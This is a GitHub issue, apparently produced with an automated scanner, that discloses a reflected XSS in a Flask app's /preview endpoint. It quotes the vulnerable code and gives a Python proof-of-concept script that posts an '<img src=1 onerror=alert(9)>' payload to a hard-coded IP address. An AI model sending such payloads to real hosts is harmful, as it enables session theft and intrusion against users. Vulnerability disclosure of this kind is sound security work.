-
Notifications
You must be signed in to change notification settings - Fork 567
Open
Description
Summary
The POST /preview endpoint takes user input from request.form['newtext']
and passes it directly to render_template() as a template variable. If
the Jinja2 template renders newtext without escaping (e.g. using {{
newtext | safe }}), arbitrary HTML/JavaScript is injected into the
response. The POC submits <img src=1 onerror=alert(9)> and the payload
executes in the browser, confirming Reflected XSS. An attacker can craft
a malicious link to steal session cookies or perform actions on behalf of
the victim.
Details
- SINK
// Machine-Learning-Web-Apps-master/Build-n-Deploy-Flask-App-with-Waypoint/app/app.py#L46C1-L51C70
46→def preview():
47→ if request.method == 'POST':
48→ newtext = request.form['newtext']
49→ result = newtext
50→
51→ return render_template('preview.html',newtext=newtext,result=result)
POC
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/preview', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
# Define the target URL and endpoint
url = "http://34.127.19.15:40150/preview"
# Craft the payload with the marker at the beginning
payload = {
'newtext': '<img src=1 onerror=alert(9)>'
}
# Send the POST request with the payload
response = requests.post(url, data=payload, verify=False, allow_redirects=False)
# Print the results
print("Status Code:", response.status_code)
print("Text:", response.text)
# ********************************** Poc End ***********************************
- OUTPUT

Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels